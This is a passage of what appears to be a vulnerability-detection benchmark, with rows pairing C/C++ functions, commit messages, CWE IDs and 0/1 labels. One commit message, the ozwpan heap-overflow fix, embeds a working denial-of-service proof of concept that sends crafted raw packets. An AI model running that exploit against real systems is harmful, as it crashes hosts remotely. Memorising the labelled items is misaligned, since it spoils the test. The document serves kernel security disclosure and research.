timeout = jiffies - timeout;
if (elr->lr_sbi->s_li_wait_mult)
timeout *= elr->lr_sbi->s_li_wait_mult;
else
timeout *= 20;
elr->lr_timeout = timeout;
}
elr->lr_next_sched = jiffies + elr->lr_timeout;
elr->lr_next_group = group + 1;
}
return ret;
}
Commit Message: ext4: init timer earlier to avoid a kernel panic in __save_error_info
During mount, when we fail to open journal inode or root inode, the
__save_error_info will mod_timer. But actually s_err_report isn't
initialized yet and the kernel oops. The detailed information can
be found https://bugzilla.kernel.org/show_bug.cgi?id=32082.
The best way is to check whether the timer s_err_report is initialized
or not. But it seems that in include/linux/timer.h, we can't find a
good function to check the status of this timer, so this patch just
move the initializtion of s_err_report earlier so that we can avoid
the kernel panic. The corresponding del_timer is also added in the
error path.
Reported-by: Sami Liedes <sliedes@cc.hut.fi>
Signed-off-by: Tao Ma <boyu.mt@taobao.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
CWE ID: | 0 | 26,953 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void *realloc_strcat(char *ptr, char *s)
{
size_t old = strlen(ptr), len = strlen(s);
char *ret;
if (!len)
return ptr;
len += old + 1;
align_len(&len);
ret = (char *)malloc(len);
if (unlikely(!ret))
quithere(1, "Failed to malloc");
sprintf(ret, "%s%s", ptr, s);
free(ptr);
return ret;
}
Commit Message: stratum: parse_notify(): Don't die on malformed bbversion/prev_hash/nbit/ntime.
Might have introduced a memory leak, don't have time to check. :(
Should the other hex2bin()'s be checked?
Thanks to Mick Ayzenberg <mick.dejavusecurity.com> for finding this.
CWE ID: CWE-20 | 0 | 36,613 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void oz_ep_free(struct oz_port *port, struct oz_endpoint *ep)
{
if (port) {
LIST_HEAD(list);
struct oz_hcd *ozhcd = port->ozhcd;
if (ep->flags & OZ_F_EP_HAVE_STREAM)
oz_usb_stream_delete(port->hpd, ep->ep_num);
/* Transfer URBs to the orphanage while we hold the lock. */
spin_lock_bh(&ozhcd->hcd_lock);
/* Note: this works even if ep->urb_list is empty.*/
list_replace_init(&ep->urb_list, &list);
/* Put the URBs in the orphanage. */
list_splice_tail(&list, &ozhcd->orphanage);
spin_unlock_bh(&ozhcd->hcd_lock);
}
oz_dbg(ON, "Freeing endpoint memory\n");
kfree(ep);
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189 | 0 | 43,168 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int TabStripModel::GetIndexOfLastWebContentsOpenedBy(const WebContents* opener,
int start_index) const {
DCHECK(opener);
DCHECK(ContainsIndex(start_index));
for (int i = contents_data_.size() - 1; i > start_index; --i) {
if (contents_data_[i]->opener == opener)
return i;
}
return kNoTab;
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 118,210 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: TestMakeCredentialTaskCallback& make_credential_callback_receiver() {
return callback_receiver_;
}
Commit Message: [base] Make dynamic container to static span conversion explicit
This change disallows implicit conversions from dynamic containers to
static spans. This conversion can cause CHECK failures, and thus should
be done carefully. Requiring explicit construction makes it more obvious
when this happens. To aid usability, appropriate base::make_span<size_t>
overloads are added.
Bug: 877931
Change-Id: Id9f526bc57bfd30a52d14df827b0445ca087381d
Reviewed-on: https://chromium-review.googlesource.com/1189985
Reviewed-by: Ryan Sleevi <rsleevi@chromium.org>
Reviewed-by: Balazs Engedy <engedy@chromium.org>
Reviewed-by: Daniel Cheng <dcheng@chromium.org>
Commit-Queue: Jan Wilken Dörrie <jdoerrie@chromium.org>
Cr-Commit-Position: refs/heads/master@{#586657}
CWE ID: CWE-22 | 0 | 132,891 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static std::unique_ptr<KeyedService> CreateOneGoogleBarService(
content::BrowserContext* context) {
GaiaCookieManagerService* cookie_service =
GaiaCookieManagerServiceFactory::GetForProfile(
Profile::FromBrowserContext(context));
return base::MakeUnique<OneGoogleBarService>(
cookie_service, base::MakeUnique<FakeOneGoogleBarFetcher>());
}
Commit Message: Local NTP: add smoke tests for doodles
Split LogoService into LogoService interface and LogoServiceImpl to make
it easier to provide fake data to the test.
Bug: 768419
Cq-Include-Trybots: master.tryserver.chromium.linux:closure_compilation
Change-Id: I84639189d2db1b24a2e139936c99369352bab587
Reviewed-on: https://chromium-review.googlesource.com/690198
Reviewed-by: Sylvain Defresne <sdefresne@chromium.org>
Reviewed-by: Marc Treib <treib@chromium.org>
Commit-Queue: Chris Pickel <sfiera@chromium.org>
Cr-Commit-Position: refs/heads/master@{#505374}
CWE ID: CWE-119 | 0 | 127,663 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: nautilus_directory_cancel_loading_file_attributes (NautilusDirectory *directory,
NautilusFile *file,
NautilusFileAttributes file_attributes)
{
Request request;
nautilus_directory_remove_file_from_work_queue (directory, file);
request = nautilus_directory_set_up_request (file_attributes);
if (REQUEST_WANTS_TYPE (request, REQUEST_DIRECTORY_COUNT))
{
cancel_directory_count_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_DEEP_COUNT))
{
cancel_deep_counts_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_MIME_LIST))
{
cancel_mime_list_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_FILE_INFO))
{
cancel_file_info_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_FILESYSTEM_INFO))
{
cancel_filesystem_info_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_LINK_INFO))
{
cancel_link_info_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_THUMBNAIL))
{
cancel_thumbnail_for_file (directory, file);
}
if (REQUEST_WANTS_TYPE (request, REQUEST_MOUNT))
{
cancel_mount_for_file (directory, file);
}
nautilus_directory_async_state_changed (directory);
}
Commit Message: mime-actions: use file metadata for trusting desktop files
Currently we only trust desktop files that have the executable bit
set, and don't replace the displayed icon or the displayed name until
it's trusted, which prevents for running random programs by a malicious
desktop file.
However, the executable permission is preserved if the desktop file
comes from a compressed file.
To prevent this, add a metadata::trusted metadata to the file once the
user acknowledges the file as trusted. This adds metadata to the file,
which cannot be added unless it has access to the computer.
Also remove the SHEBANG "trusted" content we were putting inside the
desktop file, since that doesn't add more security since it can come
with the file itself.
https://bugzilla.gnome.org/show_bug.cgi?id=777991
CWE ID: CWE-20 | 0 | 60,964 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: WebContents* DevToolsAgentHostImpl::GetWebContents() {
return nullptr;
}
Commit Message: [DevTools] Do not allow chrome.debugger to attach to web ui pages
If the page navigates to web ui, we force detach the debugger extension.
TBR=alexclarke@chromium.org
Bug: 798222
Change-Id: Idb46c2f59e839388397a8dfa6ce2e2a897698df3
Reviewed-on: https://chromium-review.googlesource.com/935961
Commit-Queue: Dmitry Gozman <dgozman@chromium.org>
Reviewed-by: Devlin <rdevlin.cronin@chromium.org>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Nasko Oskov <nasko@chromium.org>
Cr-Commit-Position: refs/heads/master@{#540916}
CWE ID: CWE-20 | 0 | 155,756 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int arcmsr_hbaC_handle_isr(struct AdapterControlBlock *pACB)
{
uint32_t host_interrupt_status;
struct MessageUnit_C __iomem *phbcmu = pACB->pmuC;
/*
*********************************************
** check outbound intstatus
*********************************************
*/
host_interrupt_status = readl(&phbcmu->host_int_status) &
(ARCMSR_HBCMU_OUTBOUND_POSTQUEUE_ISR |
ARCMSR_HBCMU_OUTBOUND_DOORBELL_ISR);
if (!host_interrupt_status)
return IRQ_NONE;
do {
if (host_interrupt_status & ARCMSR_HBCMU_OUTBOUND_DOORBELL_ISR)
arcmsr_hbaC_doorbell_isr(pACB);
/* MU post queue interrupts*/
if (host_interrupt_status & ARCMSR_HBCMU_OUTBOUND_POSTQUEUE_ISR)
arcmsr_hbaC_postqueue_isr(pACB);
host_interrupt_status = readl(&phbcmu->host_int_status);
} while (host_interrupt_status & (ARCMSR_HBCMU_OUTBOUND_POSTQUEUE_ISR |
ARCMSR_HBCMU_OUTBOUND_DOORBELL_ISR));
return IRQ_HANDLED;
}
Commit Message: scsi: arcmsr: Buffer overflow in arcmsr_iop_message_xfer()
We need to put an upper bound on "user_len" so the memcpy() doesn't
overflow.
Cc: <stable@vger.kernel.org>
Reported-by: Marco Grassi <marco.gra@gmail.com>
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Reviewed-by: Tomas Henzl <thenzl@redhat.com>
Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
CWE ID: CWE-119 | 0 | 49,786 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool MockWebRTCPeerConnectionHandler::updateICE(const WebRTCConfiguration&, const WebMediaConstraints&)
{
m_client->didChangeICEState(WebRTCPeerConnectionHandlerClient::ICEStateGathering);
return true;
}
Commit Message: Unreviewed, rolling out r127612, r127660, and r127664.
http://trac.webkit.org/changeset/127612
http://trac.webkit.org/changeset/127660
http://trac.webkit.org/changeset/127664
https://bugs.webkit.org/show_bug.cgi?id=95920
Source/Platform:
* Platform.gypi:
* chromium/public/WebRTCPeerConnectionHandler.h:
(WebKit):
(WebRTCPeerConnectionHandler):
* chromium/public/WebRTCVoidRequest.h: Removed.
Source/WebCore:
* CMakeLists.txt:
* GNUmakefile.list.am:
* Modules/mediastream/RTCErrorCallback.h:
(WebCore):
(RTCErrorCallback):
* Modules/mediastream/RTCErrorCallback.idl:
* Modules/mediastream/RTCPeerConnection.cpp:
(WebCore::RTCPeerConnection::createOffer):
* Modules/mediastream/RTCPeerConnection.h:
(WebCore):
(RTCPeerConnection):
* Modules/mediastream/RTCPeerConnection.idl:
* Modules/mediastream/RTCSessionDescriptionCallback.h:
(WebCore):
(RTCSessionDescriptionCallback):
* Modules/mediastream/RTCSessionDescriptionCallback.idl:
* Modules/mediastream/RTCSessionDescriptionRequestImpl.cpp:
(WebCore::RTCSessionDescriptionRequestImpl::create):
(WebCore::RTCSessionDescriptionRequestImpl::RTCSessionDescriptionRequestImpl):
(WebCore::RTCSessionDescriptionRequestImpl::requestSucceeded):
(WebCore::RTCSessionDescriptionRequestImpl::requestFailed):
(WebCore::RTCSessionDescriptionRequestImpl::clear):
* Modules/mediastream/RTCSessionDescriptionRequestImpl.h:
(RTCSessionDescriptionRequestImpl):
* Modules/mediastream/RTCVoidRequestImpl.cpp: Removed.
* Modules/mediastream/RTCVoidRequestImpl.h: Removed.
* WebCore.gypi:
* platform/chromium/support/WebRTCVoidRequest.cpp: Removed.
* platform/mediastream/RTCPeerConnectionHandler.cpp:
(RTCPeerConnectionHandlerDummy):
(WebCore::RTCPeerConnectionHandlerDummy::RTCPeerConnectionHandlerDummy):
* platform/mediastream/RTCPeerConnectionHandler.h:
(WebCore):
(WebCore::RTCPeerConnectionHandler::~RTCPeerConnectionHandler):
(RTCPeerConnectionHandler):
(WebCore::RTCPeerConnectionHandler::RTCPeerConnectionHandler):
* platform/mediastream/RTCVoidRequest.h: Removed.
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.cpp:
* platform/mediastream/chromium/RTCPeerConnectionHandlerChromium.h:
(RTCPeerConnectionHandlerChromium):
Tools:
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.cpp:
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::SuccessCallbackTask):
(MockWebRTCPeerConnectionHandler::SuccessCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::FailureCallbackTask):
(MockWebRTCPeerConnectionHandler::FailureCallbackTask::runIfValid):
(MockWebRTCPeerConnectionHandler::createOffer):
* DumpRenderTree/chromium/MockWebRTCPeerConnectionHandler.h:
(MockWebRTCPeerConnectionHandler):
(SuccessCallbackTask):
(FailureCallbackTask):
LayoutTests:
* fast/mediastream/RTCPeerConnection-createOffer.html:
* fast/mediastream/RTCPeerConnection-localDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-localDescription.html: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription-expected.txt: Removed.
* fast/mediastream/RTCPeerConnection-remoteDescription.html: Removed.
git-svn-id: svn://svn.chromium.org/blink/trunk@127679 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-20 | 0 | 99,431 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Element::detach(const AttachContext& context)
{
WidgetHierarchyUpdatesSuspensionScope suspendWidgetHierarchyUpdates;
unregisterNamedFlowContentNode();
cancelFocusAppearanceUpdate();
if (hasRareData()) {
ElementRareData* data = elementRareData();
data->setPseudoElement(BEFORE, 0);
data->setPseudoElement(AFTER, 0);
data->setIsInCanvasSubtree(false);
data->resetComputedStyle();
data->resetDynamicRestyleObservations();
}
if (ElementShadow* shadow = this->shadow())
shadow->detach(context);
ContainerNode::detach(context);
}
Commit Message: Set Attr.ownerDocument in Element#setAttributeNode()
Attr objects can move across documents by setAttributeNode().
So It needs to reset ownerDocument through TreeScopeAdoptr::adoptIfNeeded().
BUG=248950
TEST=set-attribute-node-from-iframe.html
Review URL: https://chromiumcodereview.appspot.com/17583003
git-svn-id: svn://svn.chromium.org/blink/trunk@152938 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 112,245 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: new_socket(sock_type type, int fd)
{
u_int i, old_alloc, new_alloc;
set_nonblock(fd);
if (fd > max_fd)
max_fd = fd;
for (i = 0; i < sockets_alloc; i++)
if (sockets[i].type == AUTH_UNUSED) {
sockets[i].fd = fd;
if ((sockets[i].input = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
if ((sockets[i].output = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
if ((sockets[i].request = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
sockets[i].type = type;
return;
}
old_alloc = sockets_alloc;
new_alloc = sockets_alloc + 10;
sockets = xreallocarray(sockets, new_alloc, sizeof(sockets[0]));
for (i = old_alloc; i < new_alloc; i++)
sockets[i].type = AUTH_UNUSED;
sockets_alloc = new_alloc;
sockets[old_alloc].fd = fd;
if ((sockets[old_alloc].input = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
if ((sockets[old_alloc].output = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
if ((sockets[old_alloc].request = sshbuf_new()) == NULL)
fatal("%s: sshbuf_new failed", __func__);
sockets[old_alloc].type = type;
}
Commit Message: add a whitelist of paths from which ssh-agent will load (via
ssh-pkcs11-helper) a PKCS#11 module; ok markus@
CWE ID: CWE-426 | 0 | 72,346 |
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